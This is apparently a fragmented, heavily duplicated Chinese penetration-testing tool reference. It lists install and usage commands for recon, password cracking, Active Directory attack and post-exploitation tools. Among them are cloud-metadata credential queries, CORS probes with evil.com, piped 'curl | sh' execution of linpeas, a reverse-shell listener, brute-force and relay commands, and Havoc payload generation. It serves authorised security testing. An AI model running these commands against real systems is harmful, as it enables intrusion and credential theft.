- [Nmap 官网](https://nmap.org/)

sudo apt install p0f

sudo p0f -i eth0

sudo p0f -i eth0 -o /tmp/p0f.log

sudo p0f -i eth0 -s /tmp/p0f.sock

- [p0f 官网](https://lcamtuf.coredump.cx/p0f3/)

- [p0f GitHub（非官方镜像）](https://github.com/p0f/p0f)

sudo apt install recon-ng

sudo apt install recon-ng git clone https://github.com/lanmaster53/recon-ng

git clone https://github.com/lanmaster53/recon-ng

[Credential-related source omitted]

[Credential-related source omitted]

- [recon-ng GitHub](https://github.com/lanmaster53/recon-ng)

- [recon-ng Wiki](https://github.com/lanmaster53/recon-ng/wiki)

sudo apt install sherlock

# 或从源码克隆安装 git clone https://github.com/sherlock-project/sherlock.git

git clone https://github.com/sherlock-project/sherlock.git

- [Sherlock Project（GitHub）](https://github.com/sherlock-project/sherlock)

- [Kali Sherlock](https://www.kali.org/tools/sherlock/)

[Credential-related source omitted]

- [Shodan CLI](https://help.shodan.io/command-line-interface/0-installation)

- [Shodan 开发者 API](https://developer.shodan.io/api)

sudo apt install spiderfoot

# 启动 Web 界面（访问 http://127.0.0.1:5001 ）

- [SpiderFoot (GitHub)](https://github.com/smicallef/spiderfoot)

- [Kali spiderfoot](https://www.kali.org/tools/spiderfoot/)

sudo apt install subfinder

- [subfinder（GitHub）](https://github.com/projectdiscovery/subfinder)

- [Kali subfinder](https://www.kali.org/tools/subfinder/)

sudo apt install sublist3r

- [Sublist3r GitHub](https://github.com/aboul3la/Sublist3r)

sudo apt install theharvester

sudo apt install theharvester git clone https://github.com/laramies/theHarvester

git clone https://github.com/laramies/theHarvester

- [theHarvester GitHub](https://github.com/laramies/theHarvester)

sudo apt install trufflehog

sudo apt install trufflehog # 或从 GitHub releases 下载最新二进制文件 curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin

curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin

curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin

# 扫描远程 git 仓库（完整历史） trufflehog git https://github.com/target-org/target-repo.git

trufflehog git https://github.com/target-org/target-repo.git

[Credential-related source omitted]

# JSON 输出用于自动化 trufflehog git https://github.com/target-org/target-repo.git --json > /tmp/secrets.json

trufflehog git https://github.com/target-org/target-repo.git --json > /tmp/secrets.json

# 仅显示已验证（确认活跃）的密钥 trufflehog git https://github.com/target-org/target-repo.git --results verified

trufflehog git https://github.com/target-org/target-repo.git --results verified

# 仅扫描最近的提交 trufflehog git https://github.com/target-org/target-repo.git --since-commit abc123

trufflehog git https://github.com/target-org/target-repo.git --since-commit abc123

# 跳过实时验证（更快、更安静） trufflehog git https://github.com/target-org/target-repo.git --no-verification

trufflehog git https://github.com/target-org/target-repo.git --no-verification

- [TruffleHog (GitHub)](https://github.com/trufflesecurity/trufflehog)

- [Kali trufflehog](https://www.kali.org/tools/trufflehog/)

sudo apt install wafw00f

# 基础检测 wafw00f http://target.com

wafw00f http://target.com

# HTTPS wafw00f https://target.com

wafw00f https://target.com

# 检测所有可能的 WAF wafw00f -a https://target.com

wafw00f -a https://target.com

# JSON 输出 wafw00f https://target.com -o /tmp/waf_result.json -f json

wafw00f https://target.com -o /tmp/waf_result.json -f json

# 使用代理 wafw00f https://target.com -p http://127.0.0.1:8080

wafw00f https://target.com -p http://127.0.0.1:8080

- [wafw00f GitHub](https://github.com/EnableSecurity/wafw00f)

sudo apt install whatweb

| 参数 | 说明 | |-----------|-------------| | `<target>` | URL / IP / CIDR / 文件 示例：`http://example.com` |

|-----------|-------------| | `<target>` | URL / IP / CIDR / 文件 示例：`http://example.com` | | `-i <file>` | 从文件读取目标 示例：`-i targets.txt` |

| `<target>` | URL / IP / CIDR / 文件 示例：`http://example.com` |

# 基本 Web 指纹识别 whatweb http://example.com

whatweb http://example.com

# HTTPS 目标 whatweb https://example.com

whatweb https://example.com

# 详细输出 whatweb -v http://example.com

whatweb -v http://example.com

# 静默模式（仅输出结果） whatweb -q http://example.com

whatweb -q http://example.com

# 侵略性模式（更多探测，检测更多技术） whatweb -a 3 http://example.com

whatweb -a 3 http://example.com

# 最大侵略性（全面检测） whatweb -a 4 http://example.com

whatweb -a 4 http://example.com

# JSON 输出（便于解析） whatweb --log-json results.json http://example.com

whatweb --log-json results.json http://example.com

# XML 输出 whatweb --log-xml results.xml http://example.com

whatweb --log-xml results.xml http://example.com

# 详细日志 whatweb --log-verbose results.txt http://example.com

whatweb --log-verbose results.txt http://example.com

# HTTP 基础认证 whatweb --user admin:password http://example.com/admin

whatweb --user admin:password http://example.com/admin

# 使用 Cookie whatweb --cookie "session=abc123" http://example.com

whatweb --cookie "session=abc123" http://example.com

# 通过 Burp 代理 whatweb --proxy 127.0.0.1:8080 http://example.com

whatweb --proxy 127.0.0.1:8080 http://example.com

# 自定义 User-Agent whatweb -U "Mozilla/5.0 (Custom)" http://example.com

whatweb -U "Mozilla/5.0 (Custom)" http://example.com

whatweb --user-agent "Mozilla/5.0 (Custom)" http://example.com

- [WhatWeb GitHub](https://github.com/urbanadventurer/WhatWeb)

sudo apt install whois

- [whois GitHub](https://github.com/rfc1036/whois)

- [RFC 3912 - WHOIS 协议](https://www.rfc-editor.org/rfc/rfc3912)

- [Kali Tools](https://www.kali.org/tools/all-tools/)

sudo apt install brutespray

- [brutespray (GitHub)](https://github.com/x90skysn3k/brutespray)

- [Kali brutespray](https://www.kali.org/tools/brutespray/)

sudo apt install cewl

# 基础爬取，最小 6 位单词 cewl http://target.com -m 6 -w /tmp/target_wordlist.txt

cewl http://target.com -m 6 -w /tmp/target_wordlist.txt

# 爬取深度 3，提取邮件 cewl http://target.com -d 3 -m 5 --email -w /tmp/wordlist.txt

cewl http://target.com -d 3 -m 5 --email -w /tmp/wordlist.txt

# 爬取 HTTPS cewl https://target.com -m 6 -w /tmp/wordlist.txt

cewl https://target.com -m 6 -w /tmp/wordlist.txt

# 加数字变体（结合 john 规则） cewl http://target.com -m 6 -w /tmp/base.txt

cewl http://target.com -m 6 -w /tmp/base.txt

# 爬取需要认证的页面 cewl http://target.com --auth_user admin --auth_pass password -m 6 -w /tmp/wordlist.txt

cewl http://target.com --auth_user admin --auth_pass password -m 6 -w /tmp/wordlist.txt

- [CeWL (GitHub)](https://github.com/digininja/CeWL)

sudo apt install changeme

# 使用代理扫描（配合 Burp Suite） changeme --protocols http --proxy http://127.0.0.1:8080 192.168.1.0/24

changeme --protocols http --proxy http://127.0.0.1:8080 192.168.1.0/24

- [changeme (GitHub)](https://github.com/ztgrace/changeme)

- [Kali changeme](https://www.kali.org/tools/changeme/)

sudo apt install chntpw

- [chntpw man page](https://manpages.debian.org/chntpw)

- [Kali chntpw](https://www.kali.org/tools/chntpw/)

sudo apt install crowbar

- [crowbar (GitHub)](https://github.com/galkan/crowbar)

- [Kali crowbar](https://www.kali.org/tools/crowbar/)

sudo apt install crunch

- [crunch Debian man page](https://manpages.debian.org/unstable/crunch/crunch.1.en.html)

sudo apt install fcrackzip

- [fcrackzip man page](https://manpages.debian.org/fcrackzip)

- [Kali fcrackzip](https://www.kali.org/tools/fcrackzip/)

sudo apt install gpp-decrypt

- [Kali gpp-decrypt](https://www.kali.org/tools/gpp-decrypt/)

- [MS14-025 Advisory](https://learn.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-025)

sudo apt install hashcat

sudo gunzip /usr/share/wordlists/rockyou.txt.gz  # 仅当 .gz 存在且 .txt 不存在时执行

- [Hashcat Wiki](https://hashcat.net/wiki/)

- [Hashcat (GitHub)](https://github.com/hashcat/hashcat)

- [Hashcat 官网](https://hashcat.net/hashcat/)

sudo apt install hashid

- [hashid (GitHub)](https://github.com/psypanda/hashID)

- [Kali hashid](https://www.kali.org/tools/hashid/)

sudo apt install hydra

# 格式："/path:POST_body:失败标志" # ⚠<U+FE0F> 失败标志必须匹配登录失败响应正文中的文本 # 运行前请用 Burp Suite 或 curl 确认确切的失败提示信息

# 运行前请用 Burp Suite 或 curl 确认确切的失败提示信息

- [THC-Hydra (GitHub)](https://github.com/vanhauser-thc/thc-hydra)

sudo apt install john

- [John the Ripper (GitHub)](https://github.com/openwall/john)

- [John the Ripper 官网](https://www.openwall.com/john/)

# 从官方 GitHub releases 页面下载 Linux amd64 二进制文件 curl -L https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -o kerbrute

curl -L https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -o kerbrute

sudo mv kerbrute /usr/local/bin/kerbrute

- [kerbrute (GitHub)](https://github.com/ropnop/kerbrute)

sudo apt install medusa

- [Medusa (GitHub)](https://github.com/jmk-foofus/medusa)

- [Kali medusa Package Tracker](https://pkg.kali.org/pkg/medusa)

sudo apt install name-that-hash

- [Name-That-Hash (GitHub)](https://github.com/bee-san/Name-That-Hash)

- [Kali name-that-hash](https://www.kali.org/tools/name-that-hash/)

sudo apt install ncrack

- [Ncrack — Nmap Project](https://nmap.org/ncrack/)

- [ncrack (GitHub)](https://github.com/nmap/ncrack)

- [Kali ncrack](https://www.kali.org/tools/ncrack/)

sudo apt install netexec

- [NetExec (GitHub)](https://github.com/Pennyw0rth/NetExec)

- [Kali netexec](https://www.kali.org/tools/netexec/)

sudo apt install patator

# HTTP 表单 fuzz patator http_fuzz url=http://target.com/login method=POST body='user=FILE0&pass=FILE1' 0=users.txt 1=passwords.txt -x ignore:fgrep='Invalid'

patator http_fuzz url=http://target.com/login method=POST body='user=FILE0&pass=FILE1' 0=users.txt 1=passwords.txt -x ignore:fgrep='Invalid'

- [patator GitHub](https://github.com/lanjelot/patator)

- [Kali patator](https://www.kali.org/tools/patator/)

sudo apt update

sudo apt install pdfcrack

- [pdfcrack on SourceForge](https://pdfcrack.sourceforge.net/)

- [Kali pdfcrack](https://www.kali.org/tools/pdfcrack/)

sudo apt install rainbowcrack

# 下载预生成的表格（推荐——自行生成需要数天时间） # NTLM/LM 表格：https://ophcrack.sourceforge.io/tables.php

# NTLM/LM 表格：https://ophcrack.sourceforge.io/tables.php

# 免费表格：    https://www.freerainbowtables.com/

- [Kali rainbowcrack](https://www.kali.org/tools/rainbowcrack/)

- [Kali rainbowcrack package tracker](https://pkg.kali.org/pkg/rainbowcrack)

sudo apt install responder

sudo responder -I eth0

sudo responder -I eth0 -wd

sudo responder -I eth0 -A

- [Responder (GitHub)](https://github.com/lgandx/Responder)

mitmdump -w /tmp/api.flows    mitmproxy2swagger -i /tmp/api.flows -o /tmp/openapi.yaml -p https://api.example.com

mitmproxy2swagger -i /tmp/api.flows -o /tmp/openapi.yaml -p https://api.example.com

# schemathesis — schema 驱动测试    st run https://target/openapi.json --checks all --url https://target

st run https://target/openapi.json --checks all --url https://target

```bash           curl -sk https://<frontend-host>/main.js -o /tmp/main.js

curl -sk https://<frontend-host>/main.js -o /tmp/main.js

[Credential-related source omitted]

```bash           mitmdump -s /tmp/sign_addon.py --listen-port 8080 --set ssl_insecure=true --set http2=false &           # 验证: curl -sk -x http://127.0.0.1:8080 https://target/endpoint

mitmdump -s /tmp/sign_addon.py --listen-port 8080 --set ssl_insecure=true --set http2=false &           # 验证: curl -sk -x http://127.0.0.1:8080 https://target/endpoint           ```

# 验证: curl -sk -x http://127.0.0.1:8080 https://target/endpoint

- 绕过成功时：直接注入静态绕过头（如 `-H "X-Signature: <bypass_value>"`）。      - 代理已构建时：所有工具通过代理路由（`--proxy=http://127.0.0.1:8080`）。

- 代理已构建时：所有工具通过代理路由（`--proxy=http://127.0.0.1:8080`）。

- 测试 API 参数的 SQL 注入、NoSQL 注入、命令注入、LDAP 注入和 XML 外部实体（XXE）攻击。    - 使用 `sqlmap`（参见 `../web/tools/sqlmap.md`）配合 API 专项选项：将代表性请求保存到文件并运行 `sqlmap -r request.txt --batch`；对 JSON 请求体使用 `--data` 并配合正确的 `--headers="Content-Type: application/json"`。  

- 使用 `sqlmap`（参见 `../web/tools/sqlmap.md`）配合 API 专项选项：将代表性请求保存到文件并运行 `sqlmap -r request.txt --batch`；对 JSON 请求体使用 `--data` 并配合正确的 `--headers="Content-Type: application/json"`。    - 通过 URL 和文件参数测试 SSRF——提供内部地址（`http://169.254.169.254/`、`http

- 通过 URL 和文件参数测试 SSRF——提供内部地址（`http://169.254.169.254/`、`http://127.0.0.1:<port>`）并观察响应。

sqlmap -r /tmp/api_request.txt --batch --level=3 --risk=2    # JSON 请求体注入    sqlmap -u "https://api.example.com/v1/search" --data='{"query":"test"}' --headers="Content-Type: application/json" --batch

sqlmap -u "https://api.example.com/v1/search" --data='{"query":"test"}' --headers="Content-Type: application/json" --batch

# 使用任意来源测试 CORS    curl -s -H "Origin: https://evil.com" -I https://api.example.com/v1/endpoint | grep -i "access-control"

curl -s -H "Origin: https://evil.com" -I https://api.example.com/v1/endpoint | grep -i "access-control"

# 测试 null origin    curl -s -H "Origin: null" -I https://api.example.com/v1/endpoint | grep -i "access-control"    # 测试带凭据标志

curl -s -H "Origin: null" -I https://api.example.com/v1/endpoint | grep -i "access-control"

curl -s -H "Origin: https://evil.com" -H "Cookie: session=TOKEN" -I https://api.example.com/v1/endpoint | grep -i "access-control"

[Credential-related source omitted]

# docker-bench-security — 审计 Docker 主机配置    cd /tmp && git clone https://github.com/docker/docker-bench-security.git && cd docker-bench-security

cd /tmp && git clone https://github.com/docker/docker-bench-security.git && cd docker-bench-security

sudo ./docker-bench-security.sh -l /tmp/docker-bench.log

# AWS — 测试 IMDS 访问（IMDSv1）    curl -s http://169.254.169.254/latest/meta-data/

curl -s http://169.254.169.254/latest/meta-data/

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

# Azure — 测试 IMDS    curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP — 测试元数据    curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/project/project-id

nmap -p 21 --script ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor <ip> # 手动验证匿名访问（nmap 脚本可能因 PASV 问题产生漏报） curl -s ftp://anonymous:anonymous@<ip>/

# 手动验证匿名访问（nmap 脚本可能因 PASV 问题产生漏报） curl -s ftp://anonymous:anonymous@<ip>/ # 递归目录列表（发现包含备份文件的子目录）

curl -s ftp://anonymous:anonymous@<ip>/

# 递归目录列表（发现包含备份文件的子目录） wget --spider -r --no-remove-listing ftp://anonymous:anonymous@<ip>/ 2>&1 | grep -E 'directory|listing' # 在可访问目录中搜索敏感文件

wget --spider -r --no-remove-listing ftp://anonymous:anonymous@<ip>/ 2>&1 | grep -E 'directory|listing'

# 在可访问目录中搜索敏感文件 curl -s ftp://anonymous:anonymous@<ip>/ | grep -iE '\.(tar|zip|gz|bak|sql|conf|env|key|pem|kdbx)' # 可写目录测试

curl -s ftp://anonymous:anonymous@<ip>/ | grep -iE '\.(tar|zip|gz|bak|sql|conf|env|key|pem|kdbx)'

curl -s -T /tmp/test_upload.txt ftp://anonymous:anonymous@<ip>/pub/ && echo "WRITABLE"

openssl s_client -alpn http/1.1 -connect <ip>:<port> </dev/null 2>/dev/null | grep -E 'ALPN|Protocol'    # 第 3 步：banner 捕获    nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head

# 第 3 步：banner 捕获    nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head    curl -sk https://<ip>:<port>/ -o /dev/null -w '%{http_code}\n'

nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head

curl -sk https://<ip>:<port>/ -o /dev/null -w '%{http_code}\n'

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

**零发现应对：** 如果 linpeas/winpeas 未发现提权路径，手动检查 SUID/SGID 二进制文件、sudo 错误配置、可写 cron 任务、内核版本与已知漏洞利用的对比，以及服务账户权限。在 Windows 上，检查 SeImpersonate/SeAssignPrimaryToken 权限、未加引号的服务路径以及可修改的服务二进制文件。在得出无法提权的结论前，记录每项检查结果。

[Credential-related source omitted]

- 默认使用 CVSS v4.0 基础评分计算：攻击向量、攻击复杂度、所需权限、用户交互、范围和 CIA 影响。当客户明确要求或需要与尚未迁移到 v4.0 的漏洞数据库对比时，使用 CVSS v3.1。    - 当目标环境上下文已知时（如补偿控制、利用成熟度），应用环境和时间调整。    - 参考 [CVSS Calculator](https://www.first.org/cvss/calculator/4.0) 确保评分一致性。

- 当目标环境上下文已知时（如补偿控制、利用成熟度），应用环境和时间调整。    - 参考 [CVSS Calculator](https://www.first.org/cvss/calculator/4.0) 确保评分一致性。    - 在相关情况下将发现映射到合规框架：PCI DSS 要求、SOC 2 信任标准或 HIPAA 安全措施。

- 参考 [CVSS Calculator](https://www.first.org/cvss/calculator/4.0) 确保评分一致性。

[Credential-related source omitted]

- 命令注入：`eval()`、`exec()`、`system()`、`Runtime.exec()`、`os.popen()`、带 `shell=True` 的 `subprocess.call()`

[Credential-related source omitted]

- **TLS 密码套件审计**：运行 `sslscan`（参见 `../vulnerability/tools/sslscan.md`）或 `testssl.sh`（参见 `../vulnerability/tools/testssl.sh.md`）枚举所有接受的密码套件，并检查已知 TLS 攻击（ROBOT、DROWN、CCS 注入、Ticketbleed、Heartbleed）——不要仅依赖手动 `openssl s_client` 版本检查。标记 3DES、RC4、非

- **通配符证书→子域名枚举**：如果 TLS 证书包含通配符 SAN（如 `*.example.com`），通过 DNS 查询枚举子域名，并逐一探测是否存在独立服务或不同响应状态码。    - **CORS 源站侦察**：如果 `Access-Control-Allow-Origin` 头指定了具体源站（如 `https://app.example.com`），探测该源站的响应头、CSP 指令、Cookie 和技术栈——其响应元数据常常泄露 API 端点、内部架构或未授权

- **CORS 源站侦察**：如果 `Access-Control-Allow-Origin` 头指定了具体源站（如 `https://app.example.com`），探测该源站的响应头、CSP 指令、Cookie 和技术栈——其响应元数据常常泄露 API 端点、内部架构或未授权路径。对返回 HTTP 200 且有实际内容的源站运行 `nikto` 和 `nuclei` 扫描。

```bash      # 下载 JS 文件      curl -sk https://<target>/main.js -o /tmp/main.js

# 下载 JS 文件      curl -sk https://<target>/main.js -o /tmp/main.js      # 搜索 URL、API 路径、子域名和密钥

curl -sk https://<target>/main.js -o /tmp/main.js

```bash      commix --url "http://target/page?param=INJECT_HERE" --level=3 --batch

commix --url "http://target/page?param=INJECT_HERE" --level=3 --batch

- **反序列化**：识别参数或 cookie 中的序列化对象；使用已知 gadget 链（Java/PHP/.NET）进行测试。对 PHP 反序列化漏洞，使用 `phpggc` 生成 gadget 链（见 `../web/tools/phpggc.md`）。对 CBC 模式加密的 cookie/令牌进行 Padding Oracle 攻击，使用 `padbuster`（见 `../web/tools/padbuster.md`）。    - **HTTP 请求走私**：在前

- **HTTP 请求走私**：在前端和后端服务器不同的场景下，测试 CL/TE 和 TE/CL 混淆。    - **SSRF**：测试 URL 和文件参数是否可访问内网、云元数据（`http://169.254.169.254`）以及内部服务枚举。    - **XXE**：测试 XML 输入是否存在外部实体注入；如果内联响应未反射，尝试带外获取。

- **SSRF**：测试 URL 和文件参数是否可访问内网、云元数据（`http://169.254.169.254`）以及内部服务枚举。

- **JWT 缺陷**：`alg:none`、弱密钥、`kid` 注入——使用 `jwt_tool` 验证（参见 `../web/tools/jwt_tool.md`）。      - **IDOR / BOLA**：跨角色替换对象 ID，验证响应差异。      - **CORS 配置错误**：发送 `Origin: https://evil.com`，检查响应中是否有反射的请求头。

- **IDOR / BOLA**：跨角色替换对象 ID，验证响应差异。      - **CORS 配置错误**：发送 `Origin: https://evil.com`，检查响应中是否有反射的请求头。      - **CSRF**：确认令牌绑定；测试有无 `SameSite` cookie 属性时的行为差异。

- **CORS 配置错误**：发送 `Origin: https://evil.com`，检查响应中是否有反射的请求头。

# 通过认证的代理会话路由 sqlmap    sqlmap -u "<url>" --proxy http://127.0.0.1:8080 --cookie="session=<token>"

sqlmap -u "<url>" --proxy http://127.0.0.1:8080 --cookie="session=<token>"

自动化枚举系统中可利用的权限提升路径，包括 SUID/SUDO 配置、计划任务、服务配置、未打补丁的漏洞等。是获得 shell 后第一步必跑的工具。

1. **sudo 配置错误** -- `sudo -l` 列出允许的命令。在 [GTFOBins](https://gtfobins.github.io/) 查找可利用的二进制文件。

1. **sudo 配置错误** -- `sudo -l` 列出允许的命令。在 [GTFOBins](https://gtfobins.github.io/) 查找可利用的二进制文件。

- [Kali Tools](https://www.kali.org/tools/all-tools/)

sudo apt install bloodhound neo4j

# 启动 Neo4j 数据库 sudo neo4j start # 访问 http://localhost:7474 修改默认密码（neo4j/neo4j → 自定义）

sudo neo4j start

# 访问 http://localhost:7474 修改默认密码（neo4j/neo4j → 自定义）

# --- BloodHound Community Edition (CE) v5+ 可通过 Docker 部署 --- # git clone https://github.com/SpecterOps/BloodHound.git

# git clone https://github.com/SpecterOps/BloodHound.git

# cd BloodHound && docker compose -f examples/docker-compose/docker-compose.yml up # 访问 http://localhost:8080 （首次运行时打印凭据） # CE 采集优先使用当前 SharpHound 发布版

# 访问 http://localhost:8080 （首次运行时打印凭据）

# 下载 SharpHound： # BloodHound 4.x: https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors

# BloodHound 4.x: https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors

# BloodHound CE: https://github.com/SpecterOps/SharpHound （注意版本匹配！）

- [BloodHound CE v5+（GitHub）](https://github.com/SpecterOps/BloodHound)

- [BloodHound 文档](https://bloodhound.specterops.io)

- [SharpHound 收集器 — CE 版（GitHub）](https://github.com/SpecterOps/SharpHound)

- [SharpHound 收集器 — Legacy 4.x（GitHub）](https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors)

- [bloodhound-python（GitHub）](https://github.com/dirkjanm/BloodHound.py)

sudo apt install bloodhound.py

- [BloodHound.py (GitHub)](https://github.com/dirkjanm/BloodHound.py)

- [Kali bloodhound.py](https://www.kali.org/tools/bloodhound.py/)

sudo apt install bloodyad

- [bloodyAD (GitHub)](https://github.com/CravateRouge/bloodyAD)

- [Kali bloodyad](https://www.kali.org/tools/bloodyad/)

sudo apt install certipy-ad

# 针对 AD CS 的 NTLM 中继攻击（配合 coercer 或 mitm6 使用） certipy-ad relay -target http://192.168.1.10 -template 'Machine'

certipy-ad relay -target http://192.168.1.10 -template 'Machine'

- [Certipy (GitHub)](https://github.com/ly4k/Certipy)

- [Kali certipy-ad](https://www.kali.org/tools/certipy-ad/)

sudo apt install dnscat2

# 客户端使用 exec（绑定 shell）：

- [dnscat2（GitHub）](https://github.com/iagox86/dnscat2)

- [Kali dnscat2](https://www.kali.org/tools/dnscat2/)

sudo apt install python3-dploot

[Credential-related source omitted]

- [dploot (GitHub)](https://github.com/zblurx/dploot)

- [Kali dploot](https://www.kali.org/tools/dploot/)

sudo apt install havoc

# 或从源码构建 git clone https://github.com/HavocFramework/Havoc.git

git clone https://github.com/HavocFramework/Havoc.git

# Python API 示例： # from havoc import Havoc # h = Havoc("https://teamserver:40056", "operator", "password")

# from havoc import Havoc # h = Havoc("https://teamserver:40056", "operator", "password") # h.generate_payload(listener="http-listener", arch="x64", format="exe")

# h = Havoc("https://teamserver:40056", "operator", "password")

- [Havoc (GitHub)](https://github.com/HavocFramework/Havoc)

- [Kali havoc](https://www.kali.org/tools/havoc/)

sudo apt install hekatomb

- [HEKATOMB (GitHub)](https://github.com/ProcessusT/HEKATOMB)

- [Kali hekatomb](https://www.kali.org/tools/hekatomb/)

sudo apt install krbrelayx

# 或从 GitHub 克隆 git clone https://github.com/dirkjanm/krbrelayx.git

git clone https://github.com/dirkjanm/krbrelayx.git

- [krbrelayx (GitHub)](https://github.com/dirkjanm/krbrelayx)

- [Kali krbrelayx](https://www.kali.org/tools/krbrelayx/)

sudo apt install lapsdumper

- [LAPSDumper (GitHub)](https://github.com/n00py/LAPSDumper)

- [Kali lapsdumper](https://www.kali.org/tools/lapsdumper/)

sudo apt install peass

# 或从 GitHub 下载最新版 curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx86.exe -o /tmp/winpeas32.exe

- Sudo 权限（sudo -l）

# 或通过 python HTTP server python3 -m http.server 8080  # Kali 上 wget http://<kali-ip>:8080/linpeas.sh -O /tmp/linpeas.sh  # 目标上

wget http://<kali-ip>:8080/linpeas.sh -O /tmp/linpeas.sh  # 目标上

# 快速执行（无需落地，仅在能访问公网时） curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

2. 务必将输出重定向到文件（`tee /tmp/linpeas_output.txt`）——完整扫描需要几分钟，输出内容非常庞大。 3. 时间有限或想减少噪声时，使用 `-o` 参数仅运行特定检测类别。 4. 无需落地文件的执行方式（通过 curl 直接管道执行）：`curl -L <url> | sh`——仅适用于可访问互联网的目标。

3. 时间有限或想减少噪声时，使用 `-o` 参数仅运行特定检测类别。 4. 无需落地文件的执行方式（通过 curl 直接管道执行）：`curl -L <url> | sh`——仅适用于可访问互联网的目标。 5. PEASS-ng 频繁更新——请下载最新版本以获取当前 CVE 检测；旧版本会遗漏近期内核和软件漏洞。

4. 无需落地文件的执行方式（通过 curl 直接管道执行）：`curl -L <url> | sh`——仅适用于可访问互联网的目标。

4. 无需落地文件的执行方式（通过 curl 直接管道执行）：`curl -L <url> | sh`——仅适用于可访问互联网的目标。

- [PEASS-ng（GitHub）](https://github.com/peass-ng/PEASS-ng)

- [linPEAS（GitHub）](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)

sudo apt update

sudo apt install linux-exploit-suggester

- [linux-exploit-suggester GitHub](https://github.com/The-Z-Labs/linux-exploit-suggester)

- [Kali linux-exploit-suggester](https://www.kali.org/tools/linux-exploit-suggester/)

# Kali Package Tracker 中源码包名为 python-lsassy # https://pkg.kali.org/pkg/python-lsassy

# https://pkg.kali.org/pkg/python-lsassy

- [lsassy（GitHub）](https://github.com/Hackndo/lsassy)

- [Kali Package Tracker: python-lsassy](https://pkg.kali.org/pkg/python-lsassy)

# 从官方 release 页面下载当前 Windows 构建 # https://github.com/gentilkiwi/mimikatz/releases

# https://github.com/gentilkiwi/mimikatz/releases

- [Mimikatz（GitHub）](https://github.com/gentilkiwi/mimikatz)

- [Mimikatz Wiki](https://github.com/gentilkiwi/mimikatz/wiki)

sudo apt install powershell-empire

sudo powershell-empire server

# 或从 GitHub 安装 git clone --recursive https://github.com/BC-SECURITY/Empire.git

git clone --recursive https://github.com/BC-SECURITY/Empire.git

sudo powershell-empire server

- [Empire (GitHub)](https://github.com/BC-SECURITY/Empire)

- [Kali powershell-empire](https://www.kali.org/tools/powershell-empire/)

- [BC Security - Empire Documentation](https://bc-security.gitbook.io/empire-wiki)

sudo apt install powersploit

# 或从 GitHub 克隆 git clone https://github.com/PowerShellMafia/PowerSploit.git

git clone https://github.com/PowerShellMafia/PowerSploit.git

# 设置监听器接收反向 Shell payload nc -lvnp 4444

nc -lvnp 4444

- [PowerSploit (GitHub)](https://github.com/PowerShellMafia/PowerSploit)

- [Kali powersploit](https://www.kali.org/tools/powersploit/)

sudo apt install proxychains4

# 通过代理执行任意命令 proxychains nmap -sT 10.10.10.0/24 proxychains curl http://internal-server/

proxychains nmap -sT 10.10.10.0/24 proxychains curl http://internal-server/ proxychains ssh root@192.168.100.50

proxychains curl http://internal-server/

- [proxychains（GitHub）](https://github.com/haad/proxychains)

- [proxychains-ng - Kali 默认版本（GitHub）](https://github.com/rofl0r/proxychains-ng)

# 下载（请至 https://github.com/DominicBreuker/pspy/releases 确认最新版本） # 以下以 v1.2.1 为例，请替换为当前发布版本号 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/pspy64

# 以下以 v1.2.1 为例，请替换为当前发布版本号 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/pspy64 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -O /tmp/pspy32  # 32位系统

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/pspy64

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -O /tmp/pspy32  # 32位系统

# 也可通过 GitHub releases API 获取最新版本： # curl -sL https://github.com/DominicBreuker/pspy/releases/latest | grep -oP 'href="[^"]+pspy64"' | head -1

# curl -sL https://github.com/DominicBreuker/pspy/releases/latest | grep -oP 'href="[^"]+pspy64"' | head -1

- [pspy（GitHub）](https://github.com/DominicBreuker/pspy)

